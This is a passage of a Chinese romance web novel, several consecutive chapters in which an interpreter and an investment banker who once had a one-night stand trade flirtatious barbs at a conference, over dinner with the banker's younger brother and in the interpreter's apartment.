紧接着,台上人讲了一个极其生僻的专业词汇,口译员明显磕绊了下,再努力地续上了内容。 意思理解歪了。戚述在心里想。 不过这种翻译的正确率不可能做到百分百,能将大致意思表达个七八成,就已经足够用。 对方似乎也发现有口误,并且为此焦虑起来,想要回头打个补丁,却一直没找到插入的空隙。 由此阵脚越来越乱,台上再度出现难句的时候,翻译出现了大概两秒多的空白。 “萧徽该救场了吧。”秘书小声说。 几乎在她做出猜测的同时,大家耳边接上了流畅又好听的声音。 只是这音色不属于萧徽。 “江知羽?”秘书诧异地说。 她有些惊喜,和戚述道:“我听过他的现场,这一次就立马能认出来了。” 江知羽明显是在救场,这一部分全是即兴发挥,可他如同早有准备,情绪和术语全能顾及得到。 很多前沿的概念也可以融会贯通,以他的方式表达给每位观众,年纪轻轻能在蒲音有一席之地,不仅仅是因为脸长得有回头率。 之后人员换回了萧徽和许一晗,四平八稳地收了尾,但秘书再也没有提起换人的事。 结束后,秘书去与同行交际,想询问戚述是否要先坐公车回去。 然而,她刚扭过头,身边空空荡荡。 戚述怎么不见了? 会场的同传箱里,两位同事要转场去饭店,这会儿在原地稍作休息。 听到萧徽的叹气声,许一晗的心态愈发慌张,时不时喝一口矿泉水。 再发觉江知羽要讲话,他率先苦着脸认错。 “对不起,我犯了好多错误,害得您来补锅。” 江知羽却没有指责:“出点意外很正常,你除了中间有点崩溃,其他地方都不错。” 许一晗听完愣住,再听见江知羽继续说。 “哪怕我今天不在,萧老师也能兜住,你别一副要被开除的表情,现场没事就好。” 这时候分析问题没有任何用处,他示意对方尽快做调整。 “现在也别沮丧了,让客户看到像什么样?记得晚上好好干。”江知羽嘱咐。 许一晗初来乍到,听说过江知羽在公司有多么讨喜,之前因为交集很少,所以没有什么实感。 现在他已然被收服,备受鼓励道:“好的,我不会给您丢脸了。” 他们继而离开小屋子,主办方还没动身去饭店,江知羽跟着他们在走廊处透气。 “这人好帅,这年头基金经理都卷颜值么?”许一晗点评着不远处的嘉宾。 萧徽道:“不可能,基金经理都是面相越沧桑,看着越有安全感,连我妈都怕被帅哥骗钱。” 江知羽探头探脑:“你是在说谁?我来打假。” 许一晗指了个方向,江知羽循着他的动作看过去,不可思议地屏住了呼吸。 全世界的帅哥只剩下一个了是吗?为什么Alfred会出现在这里! 而且,这人今天换了身西装。 周遭的气场与之前完全不同,放大了傲慢感的同时,显得禁欲又斯文。 江知羽脑袋有点空白,没来得及克制目光,而另外一边,戚述感觉到了有人在偷看。 两者视线忽地交缠在半空,江知羽下意识地低下了头,过后觉得这样很心虚,又逞强般抬了回去。 “你们怎么眉来眼去的啊?认识吗?”萧徽察觉到了他的纠结。 许一晗很狗腿,看对方那么年轻,身份估计没那么高不可攀,于是选择直接帮上司做媒。 “哥们儿,你是哪家公司?看着很面生啊。”许一晗主动搭话,技巧非常生硬。 刚才他出岔子,江知羽没想把他开除,现在则十分后悔,路过花坛的时候怎么没把人活埋? 被许一晗招了招手,戚述朝旁人低语几句,迈步往这边走来。 而江知羽一看到这张脸,就想到自己留的错误手机号码。 没有被识破吧?他有些别扭地想。 再说了,对方平白无故,干嘛打自己打电话? 既然他们不是嘘寒问暖的关系,那自己做的小手脚不可能被发现。 思及此,江知羽硬气了些,向同事们介绍。 “他是我朋友,但不是同行。”江知羽拿到话题的掌控权。 他再看向戚述:“Alfred,好巧啊,你来这儿干什么?” 9.西装 《我们可没有谈恋爱!》全本免费阅读 叫什么? 什么有点嗲? 江知羽从没遇到过这种乱七八糟的话,此刻听到以后,先是顿了顿,认真地想了一遍。 他再后知后觉反应过来,慢半拍地仰起脖颈瞪向对方。 戚述眼眸漆黑,往常显得锐利又疏冷,现在与江知羽对视着,却敛有几分闪烁的促狭。 他、在、捉、弄、自、己! 江知羽别扭地侧过脸颊,在心里慢吞吞咬着字。 如果他是一只猫的话,肯定已经条件反射性地竖起了尾巴,但他作为成年人类,并不会慌慌张张地朝恶棍哈气。 他故作镇定,只要没有当场被逮住,是非黑白还不全凭自己一张嘴? “怎么可能?你少骗人了。”江知羽翻脸不认。 这人现在说话那么硬气,戚述闻言不禁嗤笑。 “你自己闷在枕头里掉眼泪,第二天说话都哑着,难道是因为脱水?” 江知羽不可思议地睁圆了眼,由于有关的记忆不太清晰,自己一时间没想出该如何反驳。 但看戚述表情淡淡,他单纯地以为这个话题到此为止。 然而,戚述满身都是坏心眼,这种时候只会得寸进尺。 抓着江知羽心虚的空隙,戚述假装了然,然后自问自答。 “也对,怪不得床上的被子都被你弄湿了。”他道。 江知羽磨了磨牙,生气地认为自己被轻慢了。 他却没想到与人回避,没思考如何划清界限,反而也气血上涌地冒犯对方。 他哼声:“那都是被你弄痛了,你可不要多想,把人弄得疼成这样,你还好意思提?” 这么讲完还嫌不够,他继续说:“你那天是第一次吧?算了,没经验的白纸一张,活很差也正常。” 戚述闻言瞥向他,江知羽不甘示弱,跟人互相瞪眼睛。 话说起来,他一直觉得Alfred的气质很骄傲,每当那双眼睛瞧着其他事物,总显得高高在上,对周遭一切都毫无兴趣。 这很容易给人一种遥不可及的感觉,又矛盾地具有吸引力,江知羽同样会被迷惑住视线。 但如果两人之间没有那些荒唐的乌龙,江知羽哪怕之后撞见,也不会主动去靠近。 天知道这人皮囊光鲜,里面竟是一滩黑水,江知羽甚至没来得及认识对方的姓名,就知道这不是什么好东西。 “你那时候是在不舒服?”戚述没被他忽悠,“那你的癖好有点特殊,一边嫌痛一边夹紧……” 话没有说完,他被江知羽忍无可忍地捂住了嘴,以两人纠缠的架势来讲,下一秒怕不是拖去工地灌进混凝土。 “这位先生,那晚的事情我忘得差不多了,毕竟只是一场你情我愿的露水姻缘。” 江知羽这么全盘否认着,用天真的语气来挑衅。 他说:“可你能说得那么清楚,这几天是在偷偷回味吗?” 戚述轻笑了声,待到江知羽松开手,漫不经心地做出解释。 “你放心,我并不会这么做。”他道。 他再提醒:“不过你好像心里忘干净了,身体还记得很清楚,为什么你颤得那么厉害?” 戚述没有触碰他一丝一毫,江知羽却绷紧脊背,肩胛骨细细地发着抖。 这点反应当场被戳破,江知羽流利地对外甩锅。 他胡编:“我看到下属差点现场忘词犯错,转过头在替人家捏把汗。” 戚述不再与他多说,嘴硬到这个程度,简直就是蚌壳,想撬开还要被凶巴巴地咬一口。 “你要去松晟面试?”他转移话题,讲起自己在来电里听到的内容。 “这里不方便打车,需不需要送你一程?” 江知羽回复了秘书说明天下午见,双方不是今晚就碰头。 他偏偏不和戚述好好讲话:“怕你不认识路,算了吧,我再去探探对面的底细。” 戚述扯起嘴角,也学着夹枪带棒。 “你是去做卧底还是去当翻译?把人家打听得那么清楚,感觉松晟这公司哪天要换成你做主。” 江知羽跟着两位同事入场的时候,脖子上统一挂着工作牌,上面写了公司和岗位,从这上面就不难看出是翻译。 他朝戚述晃了下手指,分享心得:“做我们这一行,你知道什么最重要么?” 扎实的语言基本功?广泛的知识储备量?亦或是随机应变能力? 放在实务方面来说,这些其实都不算头一等的关键因素。 江知羽大大方方地说:“讨客户满意最要紧,人家如果偏好文静,自己就绝不碎嘴。” 戚述道:“噢,你想打听他们喜欢什么。” 江知羽说:“我现在只知道他们的老大不喜欢什么。” 戚述略微挑起眉梢:“比如?” 江知羽散播萧徽的谣言,理所当然地回答:“女人和男人啊。” 戚述没什么好说的了,不过能理解谣言的出处。 这个圈子就是这样,大家都放纵的东西,自己要是不碰,整个人就是格格不入。 群体中出现异类,肯定是有什么负面的隐情,没人会觉得是因为道德负担或涵养克制。 现在提道德和涵养也没意义,江知羽活蹦乱跳地在眼前叽叽喳喳,时刻提醒着彼此之间有过什么混账事。 “话说你待会儿出去记得领停车券,主办方都给报销。”江知羽扭过头,道。 戚述说:“今天来是公车送。” 江知羽“噢”了声,想想也是,出席这类场合不适合太招摇。 两人走过树荫下的柏油马路,这个场馆很大,散步到门口需要十来分钟。 秘书收到老板的通知后,火速推进流程,除了给江知羽拨打电话,还添加了微信好友。 这会儿双方得了空,已然聊了起来。 秘书:[江老师,明天下午两点钟,我在松晟的前台处等您。] 江知羽:[好的,辛苦了。] 秘书忍不住攀谈和和夸赞:[今天我在论坛听到您的声音了,一下子就能认出来,您救场得很及时。] 江知羽有些惊讶,原来松晟今天也有参与? 在戚述面前斗嘴个不停,他这时谦虚地道谢,给人的印象风度翩翩。 “松晟的秘书嘴好甜,戚述每天过的是什么神仙日子?”江知羽感叹。 戚述觉得自己水深火热,索性附和着造谣:“都四大皆空了,能快活到哪里去,也不知道主治医师怎么说。” 两人在门口分开,戚述看着他走向地铁口,乘上了一辆黑色的慕尚。 江知羽走进地铁口的时候,看到慕尚在马路旁缓缓驶过,还不经意地多瞧了几眼。 也不知道这是谁家的车,款式买得商务又低调,京A车牌上的“8”多到可以玩消消乐。 江知羽没有细想,既然已经收到松晟的确切回复,转头便联系本科同学,请对方出来吃了一顿饭。 他同学已经在这家投行待了两三年,最开始做的是股权融资,后来主动选择跟着戚述干活。 他嘱咐江知羽要小心讲话,会议前一定要做足功课,戚述虽然性格稳定,但属于稳定的冷漠和严厉。 “往常的话你肯定碰不上他,戚述日程很忙的,有时候一个星期飞五个国家。唉,这儿就是出差多,你另有去处也挺好。” 同学说完,忽地想起:“你爹辛辛苦苦几十年,打下这么一大片江山,乐意放你自由活动,不去子承父业?” “他更怕我接手之后,说不定让他晚节不保,那几十年都白干了。”江知羽开玩笑。 同学笑起来,因为他和秘书的关系不错,所以能提点江知羽许多,两人在餐厅聊了好一阵。 第二天,江知羽踏进松晟的旋转门,入目的每一处都 10.诱骗(收尾处增改) 《我们可没有谈恋爱!》全本免费阅读 江知羽并不认为自己很在意那晚,他只是在做一些微不足道的事后反省。 一夜情后评析伴侣,就像凶手会重回作案现场、小猫要反复标记领地,都属于血液里的本能。 不过,大部分人做这种事的时候,脑子里飘过的都是痛定思痛引以为戒,从此避讳着再也不碰。 但江知羽颜控发作,感觉自己没亏。 就是喝醉了视野模糊,感官刺激也被抑制,好多方面确实都是迷迷糊糊。 包括Alfred的活到底烂不烂,江知羽其实不太清楚,当面全在胡说八道。 凌晨五点多,从混沌的梦里醒来,再也没有困意了,江知羽揉揉脑袋,身体柔韧地蜷缩起来,在衣柜里抱成一团。 便签上写着Alfred的手机号码,被江知羽随手放在床头,离衣柜不过两三步,可以说是触手可及。 可江知羽没有联系的意思,记仇地嘀咕起Alfred嘴巴很讨厌。 那点乐趣和好感仅限于在心里徘徊,让他放下矜持去主动,对面想都别想。 他窝在一方角落,体内翻涌的潮热慢慢冷却。 接着补了一个回笼觉,这次的内容健康绿色,江知羽睡到八点半,保洁固定上门来打扫。 走进屋的时候,江知羽已经在餐厅喝牛奶,保洁看到高挑秀丽的青年,寒暄了几句家长里短。 “我儿子像你一样就好啦,从读书到工作,样样都顶尖,大人从没有操过心吧?”保洁道。 她再抱怨:“我家小孩子周末半夜不睡觉,白天在床里赖到下午,半点都不正常。” 江知羽开解:“我一样很贪睡,他在学校累了当然要多休息,不影响成绩就好。” 保洁笑着说:“英语考了28,还敢在梦想墙上写剑桥呢,拿着地图也找不到教学楼,我跟他说我有个雇主是高材生,人家能讲三国语言。” 江知羽眼角弯弯:“我要靠它养家糊口,怎么能拿来比?” 现在教育环境很卷,大人们绞尽脑汁各显神通,学生们被寄予厚重希望,上上下下绷紧一根弦。 与旁观者说起时,当母亲的难免长呼短叹,不自觉地倒苦水。 江知羽在工作场合个性鲜明,往往掌控着步调,此刻却是个温柔耐心的倾听者。 保洁擦拭着大理石桌面,忽道:“哎呀,小江你上周生病了?” 江知羽下意识地说:“没有啊。” “那怎么有退烧贴呢,我要不要帮你收到小箱子里去?”保洁大大咧咧地说。 江知羽:“。” 他僵硬地放下牛奶杯,扶住太阳穴:“谢谢,帮我收起来吧,之前妖风刮得大,我是被吹得头晕。” 过了会,保洁问:“你床头有一张小纸条,轻飘飘的搞不好会弄丢,上面写着手机号,要不要先存一下?” 江知羽高冷地说:“无关紧要的搭讪而已,当垃圾丢掉就行。” 保洁怕这东西万一有点用,他俩岂不是要翻垃圾桶,随手将纸条放进了抽屉里。 江知羽等到保洁离开,继而出门上班,项目的最新动态传到公司,同事一见到他便接连表达祝贺。 “这是本季度最大的单子了。”周柯从办公室出来,揶揄,“知羽,仔细伺候我们甲方老爷。” 江知羽微微颔首:“先管家务事,许一晗,跟我来一趟。” 他有独立办公室,位置紧靠着自家部门,许一晗视死如归地去了。 那天他在同传箱状态浑噩,差点酿成事故,江知羽当场没多说,让人专心于晚宴陪同。 如今转过头,江知羽想着许一晗性格腼腆,做事也求上进,点到即止地强调下不为例。 许一晗明白自己表现得不专业,保证以后不会让上司失望。 “晚上那顿饭怎么样?”江知羽打听。 许一晗如实告知:“我没再犯糊涂了,桌上菜色还可以,本帮菜居多,说是担心贵客口味不合……但那位贵客没有来。” 江知羽多问了一嘴:“谁啊?” “是萧经理提到的那位,戚什么来着?”许一晗说。 江知羽“噢”了声:“原来戚述当时也在论坛现场。” 许一晗老老实实交代:“对,松晟的秘书说他第二天有航班,日程挤不出一丁点空档,所以交流结束后就提前走了。” 他复述:“有人讲他好难约,影子都抓不到,这种独来独往的作风为什么能爬那么高,松晟又不是夜总会,应该不看脸吧……” 江知羽与戚述有事业合作,知己知彼再好不过。 但这些探索欲仅限于工作范畴,对那位首席的私生活没有兴趣,也不想知道他如何能做到年薪千万。 再者说,他昨天与秘书面谈,刚去过松晟总部。 里面虽然个个人模人样,但真要论五官论轮廓,都没让自己多留意,江知羽不觉得有哪位能靠脸吃白饭。 “萧经理说自己跟戚述有交情,我感觉不是这么一回事。”许一晗思考,“认识的话参加活动好歹会打个招呼啊?” 江知羽让人不要暗自揣测:“以戚述的狗脾气,会跟别人搞这套?” 许一晗想想也是,之后江知羽让人回工位,自己开始做起正事。 翻译全靠源源不断的生意来赚钱,同个季度会有好几个项目。 松晟的活动定在下个月,现在做的是前期启动,另外几场峰会则排在这两周,最近算是业务忙季。 江知羽在各个场馆团团转,这段时间里,保洁的儿子已经刷新成绩记录。 之前听到的抱怨是堪堪28分,现在进化成26分,江知羽哑口无言,心惊着做家长好不容易。 家里有个学生真是麻烦,戚述也是这么想。 母亲和继父要出远门,戚述落地不久,就被通知要照顾弟弟一个礼拜。 他之前忙于出差,香港、纽约、新加坡到处飞,今天刚告一段落,行李箱都没来得及收拾。 生活助理替他去打点家里,戚述把车停在学校门口,站在人群外面等初中生放学。 他弟弟叫聂铭森,跟着母亲姓,今年在国际学校读初三。 尽管与他流着一半相同的血,两者脾气却是天差地别。 放学铃声响起,戚述不用多认,第一个冲出校门的就是他弟。 发现今天是兄长来接自己,聂铭森最开始差点没认出来。 然后他扯着运动书包的带子,电话里尚且敢活泼好动,如今面面相觑,显得有几分拘谨。 “重么?”戚述也不擅长与之相处。 聂铭森摇头说不重,可戚述依旧伸手拎过,单肩背在身上。 他今天回程穿得利落又简便,乍看像个邻家的研究生,聂铭森跟在后面,问他怎么下班那么早。 戚述说:“刚从香港回来。” 聂铭森很好奇:“累不累啊,为什么要你跑香港去?你们不能线上通话么?” 戚述回答钱没那么好赚:“我做的是并购重组,不是房屋收租。” 聂铭森听不懂这是购什么组,只知道自己上一节是体育课,满场踢足球搞得筋疲力尽,这会儿肚子饿了。 上车前,戚述瞄了他一眼,校服校裤全是草,貌似在足球场上滚了八百个来回。 “抱着你泥巴色的外套坐后排。”戚述说。 聂铭森清楚他哥有点洁癖,很自觉地挤在后座。 他先去戚述家冲了澡,出来的时候饿得直叫唤,要去旁边的商场吃炸鸡。 戚述已经点了酒店外卖,看着他的青春痘:“垃圾食品,吃多了会毁容。” 聂铭森平时被爸妈管着饮食,趁着这个间隙,嚷嚷自己就爱吃这些没营养的东西,有本事哥哥从来都不吃。 戚述对这种人的品味无话可说,并表示自己确实不吃垃圾,哪怕坐在旁边都不会碰一下。 现在还凑巧是商场的晚间高峰,炸鸡店需要排队等位。 闲着也是闲着,戚述有备而来,出门时带上了聂铭森的数学作业。 聂铭森发现他拿出了习题册,险些当场与他亲情决裂。 没到五分钟,由于聂铭森死活不会画辅助线,换成戚述质疑彼此是否存在基因关联。 另外一边,江知羽散步到家旁边的商场,同样准备在炸鸡店解决晚餐。 他经常来这家吃饭,时间掐得很准,赶在排队之前坐进了店里。 11.嚣张 《我们可没有谈恋爱!》全本免费阅读 手机正巧被交在戚述手上,两人是面对着面坐,从江知羽的视角看,堪堪瞥见有几条微信弹窗。 至于是什么内容,中文字全反着的,江知羽没看到具体消息。 与此同时,他感觉Alfred瞄了自己一眼。 江知羽:? “点好了,谢谢。”戚述很快还回手机。 屏幕停留在下单页面,他买完套餐,又加了小食桶。 表面冷冰冰,对弟弟不错呢,江知羽在心里想。 紧接着,他回到聊天页面,终于瞧见陶奕白说了些什么浑话。 “独自享受。” “很会做/太阳/玫瑰/玫瑰” 有那么几秒钟,江知羽为自己能看懂中文字而感到绝望。 Alfred注意到了吗? 弹窗不过短短几秒钟,他应该没有看清楚吧? 慌乱之际,江知羽吃不下鸡翅了,见聂铭森饿得瞳孔涣散,主动示意他先垫垫肚子。 “好啊好啊,我去洗个手。”聂铭森欢天喜地,起身去水池那边。 桌边剩下江知羽和戚述,氛围忽地微妙起来,搞得江知羽更加坐立难安。 他干巴巴地问:“这是你亲弟弟么,今天家里让你接他放学?” “嗯,同母异父,家长有点事情抽不开身,这几天要我照顾。”戚述淡淡回答。 感觉对方的语气很正常,江知羽舒了一口气。 但还没放松下来,他就听到对方问:“你呢,刚扮演完狗仔?” 江知羽:“。” 没有任何侥幸的余地,对方就是发现陶奕白的调侃了! 他立即转过弯来,反正这人只看到了文字消息,不知道自己发的照片长什么样。 “朋友开玩笑而已。”江知羽戒备道,“你不要多想,我们聊的是其他人。” “这样啊。”戚述故作豁然开朗。 他再道:“之前我弟还觉得是你在偷拍,等会有劳他重新辨认是谁,小小年纪的怎么能冤枉人。” 江知羽被逼进死角,磨了磨后槽牙。 “是这边误会你,很抱歉,我朋友在男人方面有认知障碍,判断眼光不太好。”江知羽干脆承认。 说到这里,他顿了顿,再矜傲地抬起下巴。 “我待会儿就和他解释明白,照片上的家伙什么也不懂,如果流入市场请务必孤立。” 戚述扯起嘴角,忽然道:“那天你喝醉酒闯进我房间,我想过录像作证据。” 江知羽闻言,有些紧绷地看向他。 “不用这么盯着我,我没那么做。”戚述慢条斯理地说,“现在有点后悔了。” 江知羽轻飘飘地幸灾乐祸:“你错过了讹我一大笔的机会。” “也害得你一样有认知障碍。”戚述说。 他看向江知羽的目光平静又克制,绅士到不带有半分别样情绪。 随即,他轻声表示遗憾:“该让你听听自己怎么哭的,到底是疼还是爽。” 被戳中软肋,江知羽手足无措地想站起来,直觉般地试图尽快抽离。 但凑巧聂铭森洗完手回来了,当着小辈的面,江知羽理智地保持了风度。 聂铭森嗅到他俩的状态不对劲,茫然地和江知羽说:“是不是我哥说话过分,惹到你了啊?” “没有。”江知羽说,“我们不是小学生,又不会喜欢拌嘴和闹脾气。” 聂铭森感觉江知羽很好,替他打圆场。 “我哥肯定气你了。”他侧面敲打戚述,“都是我哥做坏事,搞得你吹着冷气耳朵还红了。” 他发自真心地站在江知羽这边,可惜不明白为什么,说完以后对方似乎更加局促。 江知羽不敢去看戚述的表情,用鸡腿来堵住聂铭森的嘴。 他凉飕飕地说:“赶紧吃吧,等会儿要继续写作业呢。” 聂铭森:“……” 哭了,根本不懂自己做错了什么。 后续加的套餐被服务员端上来,聂铭森正处在身体发育阶段,青春期男生的饭量很大,几乎是横扫桌上的所有食物。 他四肢很发达,试图利用优势,与戚述互相交换条件。 “我给你做牛做马,能不能别验收我作业啊?”他道。 戚述高冷地说:“家里不打算发展畜牧业。” 聂铭森的牛马梦当场破碎,痛苦地看着戚述,紧接着,发觉兄长暗自瞄了江知羽一眼。 他愣愣地啃着薯条,在番茄酱的香味里彻悟了。 什么突然变脸爱吃垃圾食品,在江知羽面前如此心机,顺从地坐去同一桌用餐…… 合着是辅导作业不耐烦了,想把自己甩给人家。 草,自己不就是被分析了六遍公式还是不会套用吗?戚述就企图把他丢给别人来管? 聂铭森感到恼火,也不乐意让兄长教,灵活地去抱江知羽大腿。 “恩人,我该怎么称呼你?”他分享小食桶。 恩人吃着桶里的鸡米花:“我姓江,你突然这么谄媚是为什么,是想让我陪你弄懂辅助线?” “绝处求生了。”聂铭森道,“江老师,我怕我哥再教下去会家暴我。” 江知羽笑起来:“可我这儿也没有畜牧业,改来我家当牛做马没用啊。” 聂铭森想到他拍过戚述的照片,这类行径疑似搅基,果断利用兄长投其所好。 他保证:“你想知道我哥什么事,我知无不言言无不尽。” 讲完,戚述就望了过来。 在聂铭森反悔之前,江知羽觉得有点意思,表示和他一言为定。 这桌的账单已经被戚述结清,继而聂铭森邀请江知羽来家里做客。 “很近,我哥的房子就在怡枫宫。”聂铭森担心太打扰对方。 江知羽其实没觉得麻烦,这问题在于自己和戚述的关系,直接到人家家里貌似不太妥当。 他打算提议一下,可以去旁边的咖啡馆小坐,然而措辞之际,戚述率先开口拒绝。 “你这样不合适。”戚述对聂铭森说,“让人晚上来我家,要是传出去的话,我名声多不好听。” 江知羽:? 他迅速捣乱:“怎么了,你家有见不得人的东西吗?用这么僵硬的借口不敢让我上门?” 戚述缓缓道:“我是看你也很为难啊。” 江知羽道:“清清白白地去,清清白白地走,我心里没鬼有什么需要为难?” 聂铭森没懂他俩唱的什么戏,总之他夹在中间,分明是被关照的小辈,却觉得自己好多余。 江知羽跟着他们来到了怡枫宫,进门的时候,发觉戚述已经准备好客用拖鞋,警觉自己貌似上了当。 或许他没出现的话,戚述会临时找家庭教师卸下包袱。 可这个时候才意识到已经太迟了,他性格要强不肯吃亏,内心决定好好敲诈一笔。 另外一边,聂铭森主动倒水,搬椅子进书房,江知羽见状,拿起他的习题册。 姓名栏上字迹歪歪扭扭,用水笔写着:聂铭森。 既然是同母异父,Alfred可能不姓聂?江知羽琢磨着。 然后他止住了走神,翻页去看作业题。 江知羽的成绩很优秀,高数和概率论都是满分,这种程度的题目不在话下。 而且,他的职业性质需要频繁沟通,使得他非常了解如何做引导,自有一套实用的讲解办法,辅导功课这种事情简直轻而易举。 坐在他旁边,聂铭森听得也更加认真,耗费没到一个小时,就搞懂了掉队的知识点。 “你还有问题么?”江知羽道。 聂铭森崇拜地说:“江老师,我没有了。” “那我有。”江知羽单手拖着下巴,懒洋洋地一笑。 他总感觉有哪里不对劲:“你哥做的是什么工作,你仔细讲来听听?” 其实聂铭森真的不太了解,在初三生的眼里,投资银行和储蓄银行并没有区别,更别说里面的细分业务。 不 12.蒸腾 《我们可没有谈恋爱!》全本免费阅读 三个字溶在夜色里,被暖风柔柔一吹,冷硬的字词却像是情人在鬓边呢喃。 江知羽目不转睛,眼神从戚述的侧脸往下滑落,拂过清晰的喉结和端正的领口。 戚述穿着简单的黑色T恤,很巧,和他们第一次擦肩时打扮得相同。 那个时候全场都在偷偷打量他,又畏惧于他的气质是那么不可冒犯。 但江知羽不会顾忌这些。 迎着他狡黠的目光,戚述漫不经心地看过来,随即缓慢勾起唇角。 戚述半阖着眼,眸色漆黑:“你那天很介意?” 江知羽回答:“如果是你浑身上下只披着一条毛毯,你难道不会感到不舒服吗?” 这么说着,他再道:“现在做这个假设也没用,不好意思了,我家没有准备毯子。” 意思是戚述的状况比他更局促,面对这样挑衅的谈条件,戚述其实有很多种理由去推脱。 他甚至可以提醒,上一次是醉后糊涂情有可原,眼前分明都清醒着,这样是不是更加荒唐? 然而戚述收回眼神,淡淡地说:“没关系,有洗衣机就好。” 江知羽:? 他是让人脱衣服没打算把人搞脏。 本来想趁机欺负人,怎么自己似乎被反过来逗了一下? 看戚述架势不落下风,江知羽隐约感觉不妙,想要打退堂鼓。 这时候他再反悔太晚了,僵持之际不肯认怂,领着对方走进公寓。 江知羽住在高层,可以俯瞰城市的风光,晚间没有拉上窗帘,被璀璨夜景衬得有几分寂静。 他在玄关处落锁,找到一次性拖鞋,示意戚述凑合着用。 早上接待客户赶时间,出门忘记了关空调,晚上又降过温,屋内稍微有些偏冷。 不过,或许是因为刚才走了段路,江知羽此刻有些热,这个体感温度正当好。 他习惯性地抬起手,想打开客厅的吸顶灯,却因为多出了另一个人的存在,让他心里不太适应,身体跟着出现差错。 平时摸了无数次的开关位置,这次居然偏到了其他的按钮上去。 环境灯在入住之后从来没用过,今天阴差阳错展示了效果。 沿着走廊直到沙发,昏暗的光线勉强映着墙壁,连实木地板都照不亮。 江知羽懒得换掉,转而侧头打量戚述,之前轻飘飘地提出苛刻要求,这时却没有主动开口。 他道:“你想喝饮料吗?可乐和果汁都有。” 戚述扫视房间,回答:“矿泉水。” 江知羽发现他上当,分分钟抓住把柄:“紧张得渴了是吗?” 戚述道:“看你桌上的芍药都蔫了,它比我更需要关照。” 江知羽顺着他的目光瞧了眼,餐桌上保洁装点了芍药,如今已然半死不活。 “我不爱养花。”他道,“你不用帮忙浇,这些该枯的还是要枯。” 解释完,他瞥了戚述一眼,示意对方可以自觉证明数据没问题。 戚述开始挑刺:“窗帘没拉上,被人看到了怎么办?” 江知羽不可思议:“这里是28楼,哪头长颈鹿能看到?” 讲到这茬他还生气,找茬:“酒店套房在13层,你当时在窗边做那种事,怎么半点没有难为情?” 戚述说:“那是单向玻璃,屋内没有开灯,有狗仔也拍不到。” 被戳了一下偷拍行为的江知羽:“。” 他眨眨眼,不再与人纠结:“行,我把窗帘拉上可以了吗?” 戚述简直是个麻烦精:“你的客厅太大了,我不习惯,站在那里不舒服。” 江知羽感觉这人在打算盘,不肯轻易被带跑注意力。 “要不要你回去拿租房合同看看,你自己住的有多少面积?”他困惑。 戚述说:“我没有在家里裸奔的爱好,只有在洗澡之前才会做那种事。” 两个人莫名被他说得好像在偷情,江知羽纳闷:“你要做哪种事?” “脱衣服啊。”戚述嗤笑。 江知羽深吸一口气,突然有些警惕,貌似自己被自己挖了个坑。 可这里说到底是他的地盘,人家能做什么? 要是有哪里不对,他可以站在屋主立场,直接把人赶出门。 思及此,江知羽放心下来,张牙舞爪地继续做对。 “行,那去我的浴室。”他没给戚述留余地。 公寓总共七八十平,设计成了独居房型,卧室、书房和衣帽间一应俱全,厕所靠在卧室旁边。 有单人浴缸也有淋浴区,干湿分离做得很好,水池旁摆着洗漱用品,无声地说着此处长期是一个人居住。 江知羽以前觉得这里很宽敞,如今突然冒出一个男人,他缩在角落竟感到有些拥挤。 ……会不会是贴得太近了? 从酒店离开之后,他们没在类似的空间相处过,江知羽一直清楚对方高大劲瘦,却没有明确的认知。 如今他们在这方狭窄又密闭的天地,江知羽发觉自己真的比他小了一圈。 这让他更加不自然起来,江知羽别开头,默默挪到空一点的地方去。 和他隔着半米不到,戚述靠在洗手池的纯白台面前,因为双腿修长,总感觉这里有点摆不下来。 “差点忘了,需要加下好友。”戚述打开微信二维码。 原先从没这个举措,偏偏如今要做,江知羽多疑地想,自己这次是不是惹到他了?打算有机会算账? 对了,那顿炸鸡还没AA,他应该给人打钱…… 江知羽很单纯地照做,并且迅速地弄好转账。 然而戚述问:“这是什么?” “晚饭啊。”江知羽理所当然地答复,“我们估计不会再偶遇了,钱财还是搞清楚吧。” 戚述没有收下,随即给江知羽发了一张截图,上面是他的体检报告。 “怕你没记清楚,下次这么说起来的话,还要重新确认。”戚述想的是另外一方面。 江知羽:“。” 感觉这个人在恶意揣测,但可气的是,自己没有想好如何有力反驳。 江知羽决定在行动上凶狠回应,等一下就火速删除好友。 他双手捧住手机,正这么心里琢磨着,然后察觉到余光处动了动…… 啊?Alfred怎么真的在脱上衣了啊啊啊?!! “不是,我都还没说让你、让你干嘛呢!”江知羽睁圆了眼睛。 被弄得猝不及防,他说得还挺大声,却根本没敢多瞧。 往常连看片都少之又少,真实地瞄到这番赤i裸画面,他需要做一些心理准备。 可刚才磨磨蹭蹭没个预警,忽然就如此这般,江知羽怀疑自己这是在被有意吓唬。 一瞬间,他没能做好应对,真的被打乱了步调。 这时生怕对方连裤子都敢脱,他有些语无伦次地补充:“等等等等,你不可以解开腰带!” “三围有哪个数据要量腰带下面吗?”戚述请教。 他似乎早知道有这么一出,投去的目光很平静,有些好笑地问。 慌乱之际,江知羽管不到戚述的表现有多欠揍,身体做出最真实的反应,下意识地后退了两步。 单薄的背脊贴到冰凉墙壁,匆忙中无意碰到了花洒水阀。 几乎是同时,温水从头顶淋了下来,江知羽在底下被浇个正着。 水珠沿着姣好的脸庞滴落,江知羽衣衫湿透,场面应该不会更加糟糕了,他从而破罐子破摔。 “你。”他指着戚述,试图把控现场,“给我往旁边站点,被弄湿了我没衣服借你穿。” 戚述为自己的不能服从感到歉意:“我没穿衣服。” 江知羽:“。” 好无语啊,这个人能不能赶紧滚? 13.触感 《我们可没有谈恋爱!》全本免费阅读 他们之间有紧靠着吗? 两人没有任何肢体接触,仅仅是同处在狭小屋檐下,江知羽却感觉被某种东西丝丝缕缕地缠绕。 那不是实物,而是戚述的目光。 又轻又淡地抚过江知羽的周身,看他衣衫被水淋得半透,过程中没有任何犹豫和停留,但每一根柔软潮湿的发丝都已经瞧得清清楚楚。 他姿态非常自持,连神色都没有半点冒失,不说话也不动手,像在彬彬有礼地欣赏一件漂亮珍宝。 可江知羽认为事实不是如此,因为自己仿佛浑身都被摸了一遍。 那他呢? 江知羽也不是束手呆滞在原地,放纵着眼神同样在打量戚述。 那双手与自己的不一样,肤色不算白皙,与细腻更是无关,由于常年握笔,指腹上长着薄茧。 饶是如此,手的形状则很优美。 背面隐隐浮现着青色脉络,他应该定期在做对抗性的运动锻炼,比如网球或者拳击,骨节和腕部看起来很有力,程度恰好不至于太粗拙。 碰上去是什么样?是糙还是软? ……前者的话不会弄得很难受吧? 江知羽的心里闪过这一句后,不禁鄙夷起自己。 现在他神志清明,不是没有拒绝的权力,到时候让人滚不就好了么? 